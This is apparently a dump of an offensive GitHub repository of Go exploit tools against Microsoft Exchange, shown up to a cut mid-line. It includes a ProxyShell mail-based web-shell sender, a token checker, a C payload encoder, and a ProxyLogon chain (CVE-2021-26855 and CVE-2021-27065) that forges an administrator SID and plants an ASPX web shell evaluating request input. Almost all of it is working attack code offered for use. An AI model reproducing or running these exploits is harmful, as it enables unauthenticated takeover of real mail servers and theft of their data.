cli.Do(request) 214 | if err != nil { 215 | fmt.Println("[-] requesting err...") 216 | return 217 | } 218 | 219 | defer func() { 220 | _ = do.Body.Close() 221 | }() 222 | 223 | ioread, _ := ioutil.ReadAll(do.Body) 224 | resp := string(ioread) 225 | sid := Between(resp, `with SID `, ` and MasterAccountSid`) 226 | 227 | if do.StatusCode == 200 { 228 | fmt.Println("[+] get sid: " + sid) 229 | } else { 230 | fmt.Println("[-] get sid failed !") 231 | } 232 | } 233 | 234 | func sendmail(target, token, sid, email string) { 235 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}} 236 | if !strings.Contains(target, "http") { 237 | target = "http://" + target 238 | } 239 | 240 | endpoint_addr := "/autodiscover/autodiscover.json?a=luci@ex.com/EWS/exchange.asmx/?X-Rps-CAT=" 241 | 242 | soap_data := ` 247 | 248 | 249 | 250 | ` + sid + ` 251 | 252 | 253 | S-1-5-21 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | you are fucked 263 | hello from darkness side 264 | 265 | 266 | FileAttachment.txt 267 | false 268 | false 269 | ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoI5uanf2jmp1mlU041pqRT/FIb32tld9wZUFLfTBjm5qd/aKSDTqQ2MyenapanNjL7aXPfa1hR+glSNDYIPa4L3BtapXdqCyTEhlfvWVIa3aRTZ 270 | 271 | 272 | 273 | 274 | ` + email + ` 275 | 276 | 277 | 278 | 279 | 280 | 281 | ` 282 | 283 | request, err := http.NewRequest(http.MethodPost, target+endpoint_addr+token, strings.NewReader(soap_data)) 284 | if err != nil { 285 | fmt.Println(err) 286 | } 287 | 288 | request.Header.Add("Accept-Encoding", "identity") 289 | request.Header.Add("Cookie", "Email=autodiscover/autodiscover.json?a=luci@ex.com") 290 | request.Header.Add("Content-Type", "text/xml") 291 | 292 | do, err := cli.Do(request) 293 | if err != nil { 294 | fmt.Println("[-] requesting err...") 295 | return 296 | } 297 | 298 | defer func() { 299 | _ = do.Body.Close() 300 | }() 301 | 302 | ioread, _ := ioutil.ReadAll(do.Body) 303 | resp := string(ioread) 304 | ResponseCode := Between(resp, ``, ``) 305 | 306 | if do.StatusCode == 200 { 307 | fmt.Println("[+] send shell mail successful: " + ResponseCode) 308 | } else { 309 | fmt.Println("[-] send shell mail failed !!!") 310 | } 311 | } 312 | 313 | func main() { 314 | Banner() 315 | var target, token, sid, email string 316 | flag.StringVar(&target, "u", "", "") 317 | flag.StringVar(&token, "t", "", "") 318 | flag.StringVar(&sid, "i", "", "") 319 | flag.StringVar(&email, "e", "", "") 320 | flag.CommandLine.Usage = func() { 321 | fmt.Println("usage:\nexec: ./chkproxyshell -u \n") 322 | } 323 | flag.Parse() 324 | 325 | if len(target) == 0 { 326 | fmt.Println("[+] please enter the url you want to check!!!") 327 | fmt.Println("[+] Author: https://github.com/FDlucifer, https://twitter.com/fdlucifer11") 328 | } 329 | 330 | check(target) 331 | sendmail(target, token, sid, email) 332 | } 333 | -------------------------------------------------------------------------------- /confirmtoken.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "flag" 6 | "fmt" 7 | "net/http" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | func confirmtoken(target, token string) { 13 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}} 14 | if !strings.Contains(target, "http") { 15 | target = "http://" + target 16 | } 17 | 18 | endpoint_addr := "/autodiscover/autodiscover.json?a=luci@ex.com/powershell/?X-Rps-CAT=" 19 | 20 | request, err := http.NewRequest(http.MethodGet, target+endpoint_addr+token, nil) 21 | if err != nil { 22 | fmt.Println(err) 23 | } 24 | 25 | request.Header.Add("Accept-Encoding", "identity") 26 | request.Header.Add("Cookie", "Email=autodiscover/autodiscover.json?a=luci@ex.com") 27 | request.Header.Add("Content-Type", "application/soap+xml;charset=UTF-8") 28 | 29 | do, err := cli.Do(request) 30 | if err != nil { 31 | fmt.Println("[-] requesting err...") 32 | return 33 | } 34 | 35 | defer func() { 36 | _ = do.Body.Close() 37 | }() 38 | 39 | if do.StatusCode == 200 { 40 | fmt.Println("[+] the input token is valid to use!") 41 | } else { 42 | fmt.Println("[-] the input token is invalid!") 43 | } 44 | } 45 | 46 | func main() { 47 | var target, token string 48 | flag.StringVar(&target, "u", "", "") 49 | flag.StringVar(&token, "t", "", "") 50 | flag.CommandLine.Usage = func() { 51 | fmt.Println("usage:\nexec: ./chkproxyshell -u -t \n") 52 | } 53 | flag.Parse() 54 | 55 | if len(target) == 0 { 56 | fmt.Println("[+] please enter the url you want to check!!!") 57 | fmt.Println("[+] Author: https://github.com/FDlucifer, https://twitter.com/fdlucifer11") 58 | } else if len(token) == 0 { 59 | fmt.Println("[+] please enter the token you want to check!!!") 60 | fmt.Println("[+] Author: https://github.com/FDlucifer, https://twitter.com/fdlucifer11") 61 | } 62 | confirmtoken(target, token) 63 | } 64 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module proxy-attackchain 2 | 3 | go 1.16 4 | 5 | require github.com/fatih/color v1.13.0 // indirect 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= 2 | github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= 3 | github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U= 4 | github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 5 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 6 | github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= 7 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= 8 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 9 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 10 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I= 11 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 12 | -------------------------------------------------------------------------------- /padre: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/padre -------------------------------------------------------------------------------- /payloadenc.c: -------------------------------------------------------------------------------- 1 | // compiled on windows :( 2 | #include 3 | #include 4 | #include 5 | 6 | byte mpbbCrypt[] = 7 | { 8 | 65, 54, 19, 98, 168, 33, 110, 187, 9 | 244, 22, 204, 4, 127, 100, 232, 93, 10 | 30, 242, 203, 42, 116, 197, 94, 53, 11 | 210, 149, 71, 158, 150, 45, 154, 136, 12 | 76, 125, 132, 63, 219, 172, 49, 182, 13 | 72, 95, 246, 196, 216, 57, 139, 231, 14 | 35, 59, 56, 142, 200, 193, 223, 37, 15 | 177, 32, 165, 70, 96, 78, 156, 251, 16 | 170, 211, 86, 81, 69, 124, 85, 0, 17 | 7, 201, 43, 157, 133, 155, 9, 160, 18 | 143, 173, 179, 15, 99, 171, 137, 75, 19 | 215, 167, 21, 90, 113, 102, 66, 191, 20 | 38, 74, 107, 152, 250, 234, 119, 83, 21 | 178, 112, 5, 44, 253, 89, 58, 134, 22 | 126, 206, 6, 235, 130, 120, 87, 199, 23 | 141, 67, 175, 180, 28, 212, 91, 205, 24 | 226, 233, 39, 79, 195, 8, 114, 128, 25 | 207, 176, 239, 245, 40, 109, 190, 48, 26 | 77, 52, 146, 213, 14, 60, 34, 50, 27 | 229, 228, 249, 159, 194, 209, 10, 129, 28 | 18, 225, 238, 145, 131, 118, 227, 151, 29 | 230, 97, 138, 23, 121, 164, 183, 220, 30 | 144, 122, 92, 140, 2, 166, 202, 105, 31 | 222, 80, 26, 17, 147, 185, 82, 135, 32 | 88, 252, 237, 29, 55, 73, 27, 106, 33 | 224, 41, 51, 153, 189, 108, 217, 148, 34 | 243, 64, 84, 111, 240, 198, 115, 184, 35 | 214, 62, 101, 24, 68, 31, 221, 103, 36 | 16, 241, 12, 25, 236, 174, 3, 161, 37 | 20, 123, 169, 11, 255, 248, 163, 192, 38 | 162, 1, 247, 46, 188, 36, 104, 117, 39 | 13, 254, 186, 47, 181, 208, 218, 61, 40 | 20, 83, 15, 86, 179, 200, 122, 156, 41 | 235, 101, 72, 23, 22, 21, 159, 2, 42 | 204, 84, 124, 131, 0, 13, 12, 11, 43 | 162, 98, 168, 118, 219, 217, 237, 199, 44 | 197, 164, 220, 172, 133, 116, 214, 208, 45 | 167, 155, 174, 154, 150, 113, 102, 195, 46 | 99, 153, 184, 221, 115, 146, 142, 132, 47 | 125, 165, 94, 209, 93, 147, 177, 87, 48 | 81, 80, 128, 137, 82, 148, 79, 78, 49 | 10, 107, 188, 141, 127, 110, 71, 70, 50 | 65, 64, 68, 1, 17, 203, 3, 63, 51 | 247, 244, 225, 169, 143, 60, 58, 249, 52 | 251, 240, 25, 48, 130, 9, 46, 201, 53 | 157, 160, 134, 73, 238, 111, 77, 109, 54 | 196, 45, 129, 52, 37, 135, 27, 136, 55 | 170, 252, 6, 161, 18, 56, 253, 76, 56 | 66, 114, 100, 19, 55, 36, 106, 117, 57 | 119, 67, 255, 230, 180, 75, 54, 92, 58 | 228, 216, 53, 61, 69, 185, 44, 236, 59 | 183, 49, 43, 41, 7, 104, 163, 14, 60 | 105, 123, 24, 158, 33, 57, 190, 40, 61 | 26, 91, 120, 245, 35, 202, 42, 176, 62 | 175, 62, 254, 4, 140, 231, 229, 152, 63 | 50, 149, 211, 246, 74, 232, 166, 234, 64 | 233, 243, 213, 47, 112, 32, 242, 31, 65 | 5, 103, 173, 85, 16, 206, 205, 227, 66 | 39, 59, 218, 186, 215, 194, 38, 212, 67 | 145, 29, 210, 28, 34, 51, 248, 250, 68 | 241, 90, 239, 207, 144, 182, 139, 181, 69 | 189, 192, 191, 8, 151, 30, 108, 226, 70 | 97, 224, 198, 193, 89, 171, 187, 88, 71 | 222, 95, 223, 96, 121, 126, 178, 138, 72 | 71, 241, 180, 230, 11, 106, 114, 72, 73 | 133, 78, 158, 235, 226, 248, 148, 83, 74 | 224, 187, 160, 2, 232, 90, 9, 171, 75 | 219, 227, 186, 198, 124, 195, 16, 221, 76 | 57, 5, 150, 48, 245, 55, 96, 130, 77 | 140, 201, 19, 74, 107, 29, 243, 251, 78 | 143, 38, 151, 202, 145, 23, 1, 196, 79 | 50, 45, 110, 49, 149, 255, 217, 35, 80 | 209, 0, 94, 121, 220, 68, 59, 26, 81 | 40, 197, 97, 87, 32, 144, 61, 131, 82 | 185, 67, 190, 103, 210, 70, 66, 118, 83 | 192, 109, 91, 126, 178, 15, 22, 41, 84 | 60, 169, 3, 84, 13, 218, 93, 223, 85 | 246, 183, 199, 98, 205, 141, 6, 211, 86 | 105, 92, 134, 214, 20, 247, 165, 102, 87 | 117, 172, 177, 233, 69, 33, 112, 12, 88 | 135, 159, 116, 164, 34, 76, 111, 191, 89 | 31, 86, 170, 46, 179, 120, 51, 80, 90 | 176, 163, 146, 188, 207, 25, 28, 167, 91 | 99, 203, 30, 77, 62, 75, 27, 155, 92 | 79, 231, 240, 238, 173, 58, 181, 89, 93 | 4, 234, 64, 85, 37, 81, 229, 122, 94 | 137, 56, 104, 82, 123, 252, 39, 174, 95 | 215, 189, 250, 7, 244, 204, 142, 95, 96 | 239, 53, 156, 132, 43, 21, 213, 119, 97 | 52, 73, 182, 18, 10, 127, 113, 136, 98 | 253, 157, 24, 65, 125, 147, 216, 88, 99 | 44, 206, 254, 36, 175, 222, 184, 54, 100 | 200, 161, 128, 166, 153, 152, 168, 47, 101 | 14, 129, 101, 115, 228, 194, 162, 138, 102 | 212, 225, 17, 208, 8, 139, 42, 242, 103 | 237, 154, 100, 63, 193, 108, 249, 236 104 | }; 105 | 106 | #define mpbbR (mpbbCrypt) 107 | #define mpbbS (mpbbCrypt + 256) 108 | #define mpbbI (mpbbCrypt + 512) 109 | 110 | void CryptPermute(PVOID pv, int cb, BOOL fEncrypt) 111 | { 112 | // cb -> buffer size 113 | // pv -> buffer 114 | byte * pb = (byte *)pv; 115 | byte * pbTable = fEncrypt ? mpbbR : mpbbI; 116 | const DWORD * pdw = (const DWORD *) pv; 117 | DWORD dwCurr; 118 | byte b; 119 | 120 | if (cb >= sizeof(DWORD)) 121 | { 122 | while (0 != (((DWORD_PTR) pb) % sizeof(DWORD))) 123 | { 124 | *pb = pbTable[*pb]; 125 | pb++; 126 | cb--; 127 | } 128 | 129 | pdw = (const DWORD *) pb; 130 | for (; cb >= 4; cb -= 4) 131 | { 132 | dwCurr = *pdw; 133 | 134 | b = (byte) (dwCurr & 0xFF); 135 | *pb = pbTable[b]; 136 | pb++; 137 | 138 | dwCurr = dwCurr >> 8; 139 | b = (byte) (dwCurr & 0xFF); 140 | *pb = pbTable[b]; 141 | pb++; 142 | 143 | dwCurr = dwCurr >> 8; 144 | b = (byte) (dwCurr & 0xFF); 145 | *pb = pbTable[b]; 146 | pb++; 147 | 148 | dwCurr = dwCurr >> 8; 149 | b = (byte) (dwCurr & 0xFF); 150 | *pb = pbTable[b]; 151 | pb++; 152 | 153 | pdw++; 154 | } 155 | 156 | pb = (byte *) pdw; 157 | } 158 | 159 | for (; --cb >= 0; ++pb) 160 | *pb = pbTable[*pb]; 161 | } 162 | 163 | 164 | void main(){ 165 | char[] payload = ""; 166 | int length = strlen(payload); 167 | CryptPermute(payload, length, false); 168 | printf("[+] the encoded payload is: %s", payload); 169 | } -------------------------------------------------------------------------------- /pics/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/.DS_Store -------------------------------------------------------------------------------- /pics/cve-2021-42321.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/cve-2021-42321.png -------------------------------------------------------------------------------- /pics/logo-black.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/logo-black.png -------------------------------------------------------------------------------- /pics/proxylogon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxylogon.png -------------------------------------------------------------------------------- /pics/proxylogon1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxylogon1.png -------------------------------------------------------------------------------- /pics/proxyoracle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyoracle.png -------------------------------------------------------------------------------- /pics/proxyoracle1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyoracle1.png -------------------------------------------------------------------------------- /pics/proxyshell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell.png -------------------------------------------------------------------------------- /pics/proxyshell12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell12.png -------------------------------------------------------------------------------- /pics/proxyshell13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell13.png -------------------------------------------------------------------------------- /pics/proxyshell14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell14.png -------------------------------------------------------------------------------- /pics/proxyshell15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell15.png -------------------------------------------------------------------------------- /pics/proxyshell16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell16.png -------------------------------------------------------------------------------- /pics/proxyshell17.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell17.png -------------------------------------------------------------------------------- /pics/proxyshell18.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell18.png -------------------------------------------------------------------------------- /pics/proxyshell19.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxyshell19.png -------------------------------------------------------------------------------- /pics/proxytoken.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/pics/proxytoken.png -------------------------------------------------------------------------------- /proxylogon.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // chained CVE-2021-26855(bypassing the authentication and impersonating as the admin),CVE-2021-27065(post-auth arbitrary-file-write) 4 | // an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an only opened 443 port! 5 | 6 | import ( 7 | "bufio" 8 | "crypto/tls" 9 | "errors" 10 | "flag" 11 | "fmt" 12 | "io/ioutil" 13 | "math/rand" 14 | "net/http" 15 | "os" 16 | "os/exec" 17 | "regexp" 18 | "strconv" 19 | "strings" 20 | "time" 21 | 22 | "github.com/fatih/color" 23 | ) 24 | 25 | func Banner() { 26 | z := ` 27 | ╔═╗┬─┐┌─┐─┐ ┬┬ ┬┬ ┌─┐┌─┐┌─┐┌┐┌ 28 | ╠═╝├┬┘│ │┌┴┬┘└┬┘│ │ ││ ┬│ ││││ 29 | ╩ ┴└─└─┘┴ └─ ┴ ┴─┘└─┘└─┘└─┘┘└┘` 30 | x := ` 31 | ---------------------- 32 | < proxylogon is awesome! > 33 | ---------------------- 34 | \ ^__^ 35 | \ (oo)\_______ 36 | (__)\ )\/\ 37 | ||----w | 38 | || ||` 39 | y := "By lUc1f3r11" 40 | color.Blue("%s", z) 41 | color.Red("%s", x) 42 | color.Yellow("%s", y) 43 | } 44 | 45 | func splitsid(sid string) string { 46 | sid1 := strings.Split(sid, "-") 47 | sid2 := sid1[len(sid1)-1] 48 | return sid2 49 | } 50 | 51 | func modifysid(sid string) string { 52 | sid1 := strings.Split(sid, "-") 53 | sid2 := sid1[len(sid1)-1] 54 | sid3 := strings.Split(sid, sid2) 55 | sid4 := sid3[0] + "500" 56 | return sid4 57 | } 58 | 59 | func splitsess(sess string) string { 60 | sess1 := strings.Split(sess, "ASP.NET_SessionId=") 61 | sess2 := sess1[len(sess1)-1] 62 | sess3 := strings.Split(sess2, ";") 63 | sess4 := sess3[0] 64 | 65 | return sess4 66 | } 67 | 68 | func splitmsexch(msexch string) string { 69 | msexch1 := strings.Split(msexch, "msExchEcpCanary=") 70 | msexch2 := msexch1[len(msexch1)-1] 71 | msexch3 := strings.Split(msexch2, ";") 72 | msexch4 := msexch3[0] 73 | 74 | return msexch4 75 | } 76 | 77 | func Between(str, starting, ending string) string { 78 | s := strings.Index(str, starting) 79 | if s < 0 { 80 | return "" 81 | } 82 | s += len(starting) 83 | e := strings.Index(str[s:], ending) 84 | if e < 0 { 85 | return "" 86 | } 87 | return str[s : s+e] 88 | } 89 | 90 | // 声明两个新的错误返回 91 | var ErrNotPath = errors.New("Path Required") 92 | var ErrRegexp = errors.New("Regexp Fail") 93 | 94 | func execShell(input string) error { 95 | // 去除输入中最后的换行 96 | input = strings.TrimSuffix(input, "\n") 97 | 98 | // 去除输入前后的空格 99 | input = strings.TrimSpace(input) 100 | 101 | // 正则匹配输入字符中连续多个空格替换为一个空格 102 | r, err := regexp.Compile(" +") 103 | if err != nil { 104 | return ErrRegexp 105 | } 106 | input = r.ReplaceAllString(input, " ") 107 | 108 | args := strings.Split(input, " ") 109 | 110 | // 判断用户输入是否为cd 111 | switch args[0] { 112 | case "cd": 113 | if len(args) < 2 { 114 | return ErrNotPath 115 | } 116 | return os.Chdir(args[1]) 117 | 118 | case "exit": 119 | os.Exit(0) 120 | } 121 | 122 | cmd := exec.Command(args[0], args[1:]...) 123 | 124 | cmd.Stdout = os.Stdout 125 | cmd.Stderr = os.Stderr 126 | 127 | return cmd.Run() 128 | } 129 | 130 | func splitBackEnd(sess string) string { 131 | sess1 := strings.Split(sess, "X-BackEndCookie=") 132 | sess2 := sess1[len(sess1)-1] 133 | sess3 := strings.Split(sess2, "; ") 134 | sess4 := sess3[0] 135 | 136 | return sess4 137 | } 138 | 139 | func splitMasterAccountSid(sess string) string { 140 | sess1 := strings.Split(sess, "with SID ") 141 | sess2 := sess1[len(sess1)-1] 142 | sess3 := strings.Split(sess2, " and MasterAccountSid") 143 | sess4 := sess3[0] 144 | 145 | return sess4 146 | } 147 | 148 | func getshell(target, mail, FQDN, sid string) { 149 | // shell_absolute_path1 := "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\lUc1f3r11.aspx" 150 | // shell_absolute_path2 := "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\lUc1f3r11.aspx" 151 | shell_name := "lUc1f3r11.aspx" 152 | shell_payload := `%3Cscript%20language%3D%22JScript%22%20runat%3D%22server%22%3E%20function%20Page_Load%28%29%7B%2F%2A%2A%2Feval%28Request%5B%22lUc1f3r11%22%5D%2C%22unsafe%22%29%3B%7D%3C%2Fscript%3E` 153 | random_name := strconv.FormatInt(int64(rand.New(rand.NewSource(time.Now().UnixNano())).Int31n(1000)), 10) + ".js" 154 | user_agent := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" 155 | json := `{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel","SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}` 156 | 157 | if splitsid(sid) != "500" { 158 | sid = modifysid(sid) 159 | } 160 | fmt.Println("[+] Fixed User SID: " + sid) 161 | 162 | proxyLogon_request := `` + sid + `S-1-1-0S-1-5-2S-1-5-11S-1-5-15S-1-5-5-0-6948923` 163 | 164 | /*构造payload*/ 165 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}} 166 | if !strings.Contains(target, "http") { 167 | target = "http://" + target 168 | } 169 | 170 | request, err := http.NewRequest(http.MethodPost, target+"/ecp/"+random_name, strings.NewReader(proxyLogon_request)) 171 | if err != nil { 172 | fmt.Println(err) 173 | } 174 | 175 | request.Header.Add("Cookie", "X-BEResource=Admin@"+FQDN+":444/ecp/proxyLogon.ecp?a=~1942062522;") 176 | request.Header.Add("Content-Type", "text/xml") 177 | request.Header.Add("msExchLogonAccount", sid) 178 | request.Header.Add("msExchLogonMailbox", sid) 179 | request.Header.Add("msExchTargetMailbox", sid) 180 | request.Header.Add("User-Agent", user_agent) 181 | 182 | do, err := cli.Do(request) 183 | if err != nil { 184 | fmt.Println("[-] requesting err...") 185 | return 186 | } 187 | 188 | defer func() { 189 | _ = do.Body.Close() 190 | }() 191 | 192 | if do.StatusCode != 241 { 193 | fmt.Println("[-] Proxylogon Error!") 194 | } 195 | 196 | sess_id := splitsess(do.Header["Set-Cookie"][0]) 197 | msExchEcpCanary := splitmsexch(do.Header["Set-Cookie"][1]) 198 | fmt.Println("[+] Login success!!!") 199 | fmt.Println("[+] ASP.NET_SessionId=" + sess_id + "; msExchEcpCanary=" + msExchEcpCanary) 200 | 201 | request1, err := http.NewRequest(http.MethodGet, target+"/ecp/"+random_name, strings.NewReader("")) 202 | if err != nil { 203 | fmt.Println(err) 204 | } 205 | 206 | request1.Header.Add("Cookie", "X-BEResource=Admin@"+FQDN+":444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId="+sess_id+"; msExchEcpCanary="+msExchEcpCanary) 207 | request1.Header.Add("msExchLogonAccount", sid) 208 | request1.Header.Add("msExchLogonMailbox", sid) 209 | request1.Header.Add("msExchTargetMailbox", sid) 210 | request1.Header.Add("User-Agent", user_agent) 211 | 212 | do1, err := cli.Do(request1) 213 | if err != nil { 214 | fmt.Println("[-] requesting err...") 215 | return 216 | } 217 | 218 | if do1.StatusCode != 200 { 219 | fmt.Println("[-] Wrong canary!") 220 | fmt.Println("[-] Sometime we can skip this ...") 221 | } else { 222 | fmt.Println("[+] ==== It means good to go!!!====") 223 | } 224 | 225 | request2, err := http.NewRequest(http.MethodPost, target+"/ecp/"+random_name, strings.NewReader(json)) 226 | if err != nil { 227 | fmt.Println(err) 228 | } 229 | 230 | request2.Header.Add("Cookie", "X-BEResource=Admin@"+FQDN+":444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary="+msExchEcpCanary+"&a=~1942062522; ASP.NET_SessionId="+sess_id+"; msExchEcpCanary="+msExchEcpCanary) 231 | request2.Header.Add("Content-Type", "application/json; charset=utf-8") 232 | request2.Header.Add("msExchLogonAccount", sid) 233 | request2.Header.Add("msExchLogonMailbox", sid) 234 | request2.Header.Add("msExchTargetMailbox", sid) 235 | request2.Header.Add("User-Agent", user_agent) 236 | 237 | do2, err := cli.Do(request2) 238 | if err != nil { 239 | fmt.Println("[-] requesting err...") 240 | return 241 | } 242 | if do2.StatusCode != 200 { 243 | fmt.Println("[-] GetOAB Error!") 244 | } else { 245 | fmt.Println("[+] GetOAB success!") 246 | } 247 | 248 | ioread, _ := ioutil.ReadAll(do2.Body) 249 | 250 | oabId := Between(string(ioread), `"RawIdentity":"`, `"`) 251 | fmt.Println("[+] Got OAB id: " + oabId) 252 | oab_json := `{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "` + oabId + `"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#` + shell_payload + `"}}}` 253 | request3, err := http.NewRequest(http.MethodPost, target+"/ecp/"+random_name, strings.NewReader(oab_json)) 254 | if err != nil { 255 | fmt.Println(err) 256 | } 257 | 258 | request3.Header.Add("Cookie", "X-BEResource=Admin@"+FQDN+":444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary="+msExchEcpCanary+"&a=~1942062522; ASP.NET_SessionId="+sess_id+"; msExchEcpCanary="+msExchEcpCanary) 259 | request3.Header.Add("Content-Type", "application/json; charset=utf-8") 260 | request3.Header.Add("msExchLogonAccount", sid) 261 | request3.Header.Add("msExchLogonMailbox", sid) 262 | request3.Header.Add("msExchTargetMailbox", sid) 263 | request3.Header.Add("User-Agent", user_agent) 264 | 265 | do3, err := cli.Do(request3) 266 | if err != nil { 267 | fmt.Println("[-] requesting err...") 268 | return 269 | } 270 | 271 | if do3.StatusCode != 200 { 272 | fmt.Println("[-] Set external url Error! target may have some anti defence...") 273 | } else { 274 | fmt.Println("[+] Set external url success!") 275 | reset_oab_body := `{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "` + oabId + `"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\lUc1f3r11.aspx" }}}` 276 | request4, err := http.NewRequest(http.MethodPost, target+"/ecp/"+random_name, strings.NewReader(reset_oab_body)) 277 | if err != nil { 278 | fmt.Println(err) 279 | } 280 | 281 | request4.Header.Add("Cookie", "X-BEResource=Admin@"+FQDN+":444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary="+msExchEcpCanary+"&a=~1942062522; ASP.NET_SessionId="+sess_id+"; msExchEcpCanary="+msExchEcpCanary) 282 | request4.Header.Add("Content-Type", "application/json; charset=utf-8") 283 | request4.Header.Add("msExchLogonAccount", sid) 284 | request4.Header.Add("msExchLogonMailbox", sid) 285 | request4.Header.Add("msExchTargetMailbox", sid) 286 | request4.Header.Add("User-Agent", user_agent) 287 | 288 | do4, err := cli.Do(request4) 289 | if err != nil { 290 | fmt.Println("[-] requesting err...") 291 | return 292 | } 293 | 294 | if do4.StatusCode != 